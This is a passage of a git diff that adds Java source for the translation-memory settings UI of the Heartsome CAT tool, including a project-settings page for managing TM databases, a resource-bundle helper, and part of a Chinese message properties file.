btnRepeatIgnore.setSelection(true); + } + + setTagPenaltyEnable(); + } + + public void init(IWorkbench workbench) { + + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/projectsetting/ProjectSettingTMPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/projectsetting/ProjectSettingTMPage.java new file mode 100644 index 0000000..8566b98 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/projectsetting/ProjectSettingTMPage.java @@ -0,0 +1,582 @@ +/** + * ProjectconfigTMPage.java + * + * Version information : + * + * Date:Nov 29, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.projectsetting; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.ImageConstants; +import net.heartsome.cat.database.ui.tm.Utils; +import net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog; +import net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.CheckboxCellEditor; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.IWorkbench; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目设置ï¼è®°å¿†åº“è®¾ç½®é¡µé¢ + * @author Jason + * @version + * @since JDK1.6 + */ +public class ProjectSettingTMPage extends AbstractProjectSettingPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(ProjectSettingTMPage.class); + + private TableViewer tableViewer; + private List curDbList; + private Image checkedImage = Activator.getImageDescriptor(ImageConstants.CHECKED).createImage(); + private Image uncheckedImage = Activator.getImageDescriptor(ImageConstants.UNCHECKED).createImage(); + + /** + * Create the preference page. + * @param cfgBean + */ + public ProjectSettingTMPage() { + super("TM"); + setTitle(Messages.getString("projectsetting.ProjectSettingTMPage.title")); + noDefaultAndApplyButton(); + } + + @Override + public void setProjectInfoBean(ProjectInfoBean projInfoBean) { + super.projectInfoBean = projInfoBean; + this.curDbList = projInfoBean.getTmDb(); + for (DatabaseModelBean bean : this.curDbList) { + checkDbHashMatch(bean); + } + } + + /** + * Create contents of the preference page. + * @param parent + */ + @Override + public Control createContents(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + tableViewer = new TableViewer(container, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE); + Table table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer.setContentProvider(new ArrayContentProvider()); + createColumn(tableViewer); + tableViewer.setInput(curDbList); + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + DatabaseModelBean dbModel = (DatabaseModelBean) selection.getFirstElement(); + if (dbModel != null && !dbModel.isHasMatch()) { + setMessage(Messages.getString("projectsetting.ProjectSettingTMPage.msg1")); + } + } + }); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + composite.setLayout(new GridLayout(5, false)); + new Label(composite, SWT.NONE); + + HSDropDownButton addBtn = new HSDropDownButton(composite, SWT.NONE); + addBtn.setText(Messages.getString("projectsetting.ProjectSettingTMPage.addBtn")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddFileTm")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstm", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TmModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tm.dialog.addFileTm.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + List dbList = new ArrayList(); + dbList.add(selectedVal); + addToCurrDbList(dbList); + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddServerTm")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TmDbManagerDialog dialog = new TmDbManagerDialog(getShell()); + dialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List dbList = new ArrayList(); + while (it.hasNext()) { + dbList.add(it.next()); + } + addToCurrDbList(dbList); + } + } + }); + + Button createBtn = new Button(composite, SWT.NONE); + createBtn.setText(Messages.getString("projectsetting.ProjectSettingTMPage.createBtn")); + createBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + NewTmDbWizard wizard = new NewTmDbWizard(); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + DatabaseModelBean dbModel = wizard.getCreateDb(); + curDbList.add(dbModel); + checkDbHashMatch(dbModel); + tableViewer.add(dbModel); + } + } + }); + + Button removeBtn = new Button(composite, SWT.NONE); + removeBtn.setText(Messages.getString("projectsetting.ProjectSettingTMPage.removeBtn")); + removeBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + removeForCurrDbList((IStructuredSelection) tableViewer.getSelection()); + } + }); + + Button importTmxBtn = new Button(composite, SWT.NONE); + importTmxBtn.setText(Messages.getString("projectsetting.ProjectSettingTMPage.importTmxBtn")); + importTmxBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + Iterator it = selection.iterator(); + if (it.hasNext()) { + DatabaseModelBean dbModel = (DatabaseModelBean) it.next(); + ImportTmxWizard wizard = new ImportTmxWizard(dbModel); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + checkDbHashMatch(dbModel); + tableViewer.refresh(); + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("projectsetting.ProjectSettingTMPage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingTMPage.msg2")); + } + } + }); + + addBtn.setFocus(); + + Point addPoint = addBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point createPoint = createBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point remPoint = removeBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point importPoint = importTmxBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + int width = Math.max(importPoint.x, Math.max(remPoint.x, Math.max(addPoint.x, createPoint.x))); + GridData btnData = new GridData(); + btnData.widthHint = width + 10; + addBtn.setLayoutData(btnData); + createBtn.setLayoutData(btnData); + removeBtn.setLayoutData(btnData); + importTmxBtn.setLayoutData(btnData); + return container; + } + + /** + * 从当å‰åˆ—表中删除选中的库 + * @param selection + * ; + */ + private void removeForCurrDbList(IStructuredSelection selection) { + curDbList.removeAll(selection.toList()); + this.tableViewer.remove(selection.toArray()); + } + + /** + * 将选中的内容添加到列表中 + * @param selection + * ; + */ + private void addToCurrDbList(List hasSelection) { + StringBuffer dbNames = new StringBuffer(); + for (int i = 0; i < hasSelection.size(); i++) { + DatabaseModelBean dbModel = hasSelection.get(i); + + checkDbHashMatch(dbModel); + if (!checkDbIsExist(curDbList, dbModel)) { + if (curDbList.size() == 0) { // 第一个添加的库为默认库 + dbModel.setDefault(true); + } + curDbList.add(dbModel); + this.tableViewer.add(dbModel); + } else { + dbNames.append(dbModel.getDbName()); + dbNames.append("\n"); + } + } + if (dbNames.length() != 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("projectsetting.ProjectSettingTMPage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingTMPage.msg3") + dbNames.toString()); + } + } + + /** + * 检查当å‰åº“是å¦å·²ç»å­˜åœ¨ + * @param b + * @return ; + */ + public boolean checkDbIsExist(List curDbList, DatabaseModelBean b) { + for (int i = 0; i < curDbList.size(); i++) { + DatabaseModelBean a = curDbList.get(i); + String dbname = a.getDbName(); + String host = a.getHost(); + String port = a.getPort(); + String instance = a.getInstance(); + if (b.getDbName().equals(dbname) && b.getHost().equals(host) && b.getPort().equals(port) + && b.getInstance().equals(instance)) { + return true; + } + } + return false; + } + + /** + * 需è¦è°ƒç”¨Databaseæ¨¡å— æ£€æŸ¥å½“å‰é¡¹ç›®åœ¨åº“中是å¦æœ‰è¯­è¨€å¯¹çš„åŒ¹é… + * @param dbModel + * æ•°æ®åº“ä¿¡æ¯; + */ + public void checkDbHashMatch(DatabaseModelBean dbModel) { + Language srcLang = super.projectInfoBean.getSourceLang(); + DBOperator dbOp = DatabaseService.getDBOperator(dbModel.toDbMetaData()); + if (null == dbOp) { + return; + } + try { + if (dbOp != null) { + dbOp.start(); + dbModel.setHasMatch(dbOp.checkHasMatchs(srcLang.getCode(), "M")); + } + } catch (Exception e) { + LOGGER.error("", e); + dbModel.setHasMatch(false); + } finally { + if (dbOp != null) { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("projectsetting.ProjectSettingTMPage.clmnTitles1"), + Messages.getString("projectsetting.ProjectSettingTMPage.clmnTitles2"), + Messages.getString("projectsetting.ProjectSettingTMPage.clmnTitles3"), + Messages.getString("projectsetting.ProjectSettingTMPage.clmnTitles4"), + Messages.getString("projectsetting.ProjectSettingTMPage.clmnTitles5") }; + int[] clmnBounds = { 100, 100, 200, 90, 70 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + String dbType = dbModel.getDbType(); + if (dbType.equals(Constants.DBTYPE_MYSQL)) { + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)) { + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("tm.dbtype.sqlite"); + } + return dbType; + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals("Internal DB") || dbModel.getDbType().equals("SQLite")) { + return dbModel.getItlDBLocation(); + } + return dbModel.getHost(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isHasMatch()) { + return Messages.getString("projectsetting.ProjectSettingTMPage.yes"); + } else { + return Messages.getString("projectsetting.ProjectSettingTMPage.no"); + } + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[4], clmnBounds[4], 4); + col.setLabelProvider(new ColumnLabelProvider() { + public Image getImage(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isDefault()) { + return checkedImage; + } else { + return uncheckedImage; + } + } + + public String getText(Object element) { + return null; + } + }); + col.setEditingSupport(new ReadableEditingSupport(viewer)); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * Cell Editing Support for readable + * @author Jason + * @version + * @since JDK1.6 + */ + protected class ReadableEditingSupport extends EditingSupport { + private final TableViewer viewer; + + public ReadableEditingSupport(TableViewer viewer) { + super(viewer); + this.viewer = viewer; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return new CheckboxCellEditor(null, SWT.CHECK); + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected Object getValue(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.isDefault(); + } + + @Override + protected void setValue(Object element, Object value) { + if (!(Boolean) value) { + return; + } + // 实现å•é€‰ + List dbList = (List) viewer.getInput(); + for (int i = 0; i < dbList.size(); i++) { + ((DatabaseModelBean) dbList.get(i)).setDefault(false); + } + // 实现å•é€‰ + + // 执行修改 + DatabaseModelBean dbModel = (DatabaseModelBean) element; + boolean canSetDefault = false; + for (DatabaseModelBean temp : getAvailableDatabase()) { + canSetDefault = false; + if (temp.getDbType().equals(dbModel.getDbType())) { + canSetDefault = true; + break; + } + } + if (!canSetDefault) { + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("projectsetting.ProjectSettingTMPage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingTMPage.msg4")); + return; + } + dbModel.setDefault((Boolean) value); + + // 刷新 + viewer.refresh(); + } + } + + /** + * Initialize the preference page. + */ + public void init(IWorkbench workbench) { + // Initialize the preference page + } + + /** + * 得到å¯ç”¨çš„æ•°æ®åº“,当导入项目的时候。有å¯èƒ½å¯¼å…¥å…¶ä»–高版本支æŒçš„æ•°æ®åº“ + * @return ; + */ + public Set getSysAvailableDatabase() { + Map systemSuportDbMetaData = DatabaseService.getSystemSuportDbMetaData(); + return systemSuportDbMetaData.keySet(); + } + + public List getUnAvailableDatabase() { + Set availableDatabase = getSysAvailableDatabase(); + List rs = new ArrayList(); + for (DatabaseModelBean dmb : this.curDbList) { + if (!availableDatabase.contains(dmb.getDbType())) { + rs.add(dmb); + } + } + return rs; + } + + public List getAvailableDatabase() { + Set availableDatabase = getSysAvailableDatabase(); + List rs = new ArrayList(); + for (DatabaseModelBean dmb : this.curDbList) { + if (availableDatabase.contains(dmb.getDbType())) { + rs.add(dmb); + } + } + return rs; + } + + /** + * 修改导入项目时,其他ä¸å¯ç”¨çš„æ•°æ®åº“设置为默认库 ; + */ + public void changeDefaultDatabaseSet() { + List unAvailableDatabase = getUnAvailableDatabase(); + if (unAvailableDatabase.isEmpty()) { + return; + } + for (DatabaseModelBean dmb : unAvailableDatabase) { + dmb.setDefault(false); + } + List availableDatabase = getAvailableDatabase(); + if (!availableDatabase.isEmpty()) { + availableDatabase.get(0).setDefault(true); + } + } + + @Override + public void dispose() { + if (checkedImage != null && !checkedImage.isDisposed()) { + checkedImage.dispose(); + } + if (uncheckedImage != null && !uncheckedImage.isDisposed()) { + uncheckedImage.dispose(); + } + super.dispose(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/Messages.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/Messages.java new file mode 100644 index 0000000..609a57b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.database.ui.tm.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.database.ui.tm.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message.properties b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message.properties new file mode 100644 index 0000000..df161a7 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message.properties @@ -0,0 +1,290 @@ +dialog.ConcordanceSearchDialog.strMsg = \u8bb0\u5fc6\u5e93\uff1a{2} \u4fee\u6539\u8005\uff1a{1} \u65e5\u671f\uff1a{0}\n\u9879\u76ee\uff1a{3} \u4f5c\u4e1a\uff1a{4} +dialog.ConcordanceSearchDialog.title = \u76f8\u5173\u641c\u7d22 +dialog.ConcordanceSearchDialog.groupSearch = \u76f8\u5173\u641c\u7d22 +dialog.ConcordanceSearchDialog.lblSearch = \u641c\u7d22\u5185\u5bb9\uff1a +dialog.ConcordanceSearchDialog.btnSearch = \u641c\u7d22 +dialog.ConcordanceSearchDialog.btnIsCaseSensitive = \u533a\u5206\u5927\u5c0f\u5199 +dialog.ConcordanceSearchDialog.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +dialog.ConcordanceSearchDialog.btnApplyRegularExpression = \u6b63\u5219\u8868\u8fbe\u5f0f +dialog.ConcordanceSearchDialog.lblDB = \u8bb0\u5fc6\u5e93\uff1a +dialog.ConcordanceSearchDialog.btnSelectLang = \u76ee\u6807\u8bed\u8a00 +dialog.ConcordanceSearchDialog.groupFilter = \u9644\u52a0\u8fc7\u6ee4\u6761\u4ef6 +dialog.ConcordanceSearchDialog.cmpExpandableFilter = \u9644\u52a0\u8fc7\u6ee4\u6761\u4ef6 +dialog.ConcordanceSearchDialog.cmbSrcOrTgt1 = \u6e90\u6587 +dialog.ConcordanceSearchDialog.cmbSrcOrTgt2 = \u8bd1\u6587 +dialog.ConcordanceSearchDialog.cmbContain1 = \u5305\u542b +dialog.ConcordanceSearchDialog.cmbContain2 = \u4e0d\u5305\u542b +dialog.ConcordanceSearchDialog.groupTable = \u641c\u7d22\u7ed3\u679c +dialog.ConcordanceSearchDialog.colTag = \u65d7\u6807 +dialog.ConcordanceSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger2 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.msgTitle = \u63d0\u793a +dialog.ConcordanceSearchDialog.msg1 = \u672a\u641c\u7d22\u5230\u5339\u914d\u7684\u6587\u672c\u6bb5\u3002 +dialog.ConcordanceSearchDialog.msg2 = \u8bf7\u8f93\u5165\u8981\u641c\u7d22\u7684\u5185\u5bb9\u3002 +dialog.DatabaseNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.DatabaseNameInputDialog.msg1 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.DatabaseNameInputDialog.msg2 = \u8be5\u8bb0\u5fc6\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.DatabaseNameInputDialog.logger2 = [LOG] \u521b\u5efa\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.ExportTmxDialog.title = \u5bfc\u51fa\u8bb0\u5fc6\u5e93\u4e3a TMX \u6587\u4ef6 +dialog.ExportTmxDialog.dbListGroup = \u8bb0\u5fc6\u5e93 +dialog.ExportTmxDialog.langSelLabel = \u5bfc\u51fa\u8bed\u8a00\uff1a +dialog.ExportTmxDialog.srcLangSelLabel = \u6e90\u8bed\u8a00\uff1a +dialog.ExportTmxDialog.AddDbBtn = \u6dfb\u52a0(&A) +dialog.ExportTmxDialog.deleteDbBtn = \u79fb\u9664(&R) +dialog.ExportTmxDialog.msgTitle = \u63d0\u793a +dialog.ExportTmxDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u4ece\u5217\u8868\u4e2d\u79fb\u9664\u7684\u8bb0\u5fc6\u5e93\u3002 +dialog.ExportTmxDialog.hasfilterCbtn = \u8fc7\u6ee4\u89c4\u5219\uff1a +dialog.ExportTmxDialog.filterSetBtn = \u7f16\u8f91(&E)... +dialog.ExportTmxDialog.deleteFilterBtn = \u5220\u9664(&D) +dialog.ExportTmxDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u89c4\u5219\u5417\uff1f +dialog.ExportTmxDialog.isTopLevelTmxCbtn = \u4e00\u7ea7 TMX\uff08\u4e0d\u542b\u6807\u8bb0\uff09 +dialog.ExportTmxDialog.isTagCbtn = \u4ec5\u5bfc\u51fa\u5e26\u65d7\u6807\u7684\u6587\u672c\u6bb5 +dialog.ExportTmxDialog.hasChangedCodingCbtn = \u81ea\u5b9a\u4e49\u7f16\u7801\uff1a +dialog.ExportTmxDialog.tmxFileLabel = \u4fdd\u5b58\u5230\uff1a +dialog.ExportTmxDialog.browserBtn = \u6d4f\u89c8(&B)... +dialog.ExportTmxDialog.empty = \u65e0 +dialog.ExportTmxDialog.ok = \u5bfc\u51fa(&P) +dialog.ExportTmxDialog.cancel = \u53d6\u6d88 +dialog.ExportTmxDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.ExportTmxDialog.clmnTitles2 = \u7c7b\u578b +dialog.ExportTmxDialog.clmnTitles3 = \u540d\u79f0 +dialog.ExportTmxDialog.clmnTitles4 = \u8bed\u8a00 +dialog.ExportTmxDialog.msg3 = \u8bf7\u6dfb\u52a0\u9700\u8981\u5bfc\u51fa\u7684\u8bb0\u5fc6\u5e93\u3002 +dialog.ExportTmxDialog.msg4 = \u8bb0\u5fc6\u5e93 {0}:{1} \u81f3\u5c11\u8981\u5bfc\u51fa\u4e24\u79cd\u8bed\u8a00\u3002 +dialog.ExportTmxDialog.msg5 = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00\u3002 +dialog.ExportTmxDialog.msg6 = \u8bf7\u6307\u5b9a\u5bfc\u51fa\u540e\u7684 TMX \u4fdd\u5b58\u8def\u5f84\u548c\u6587\u4ef6\u540d\u3002 +dialog.ExportTmxDialog.msg7 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417? +dialog.ExportTmxDialog.msg8 = \u5f53\u9009\u62e9\u591a\u4e2a\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4fdd\u5b58 TMX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u5939\u3002 +dialog.ExportTmxDialog.msg9 = \u5f53\u9009\u4e00\u4e2a\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4fdd\u5b58 TMX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u3002 +dialog.ExportTmxDialog.job = \u5c06\u8bb0\u5fc6\u5e93\u5bfc\u51fa\u4e3a TMX \u6587\u4ef6 +dialog.ListPropCol.logger1 = [LOG] \u6dfb\u52a0 +dialog.ListPropCol.logger2 = [LOG] \u5220\u9664 +dialog.ListPropCol.logger3 = [LOG] \u6807\u8bb0HS-Flag\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ListPropCol.logger4 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TmDbManagerDialog.title = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dialog.TmDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TmDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TmDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TmDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TmDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TmDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TmDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TmDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TmDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TmDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TmDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TmDbManagerDialog.tableComposite = \u8bb0\u5fc6\u5e93\u5217\u8868 +dialog.TmDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TmDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TmDbManagerDialog.msg2 = \u5220\u9664\u8be5\u8bb0\u5fc6\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = \u5220\u9664\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome 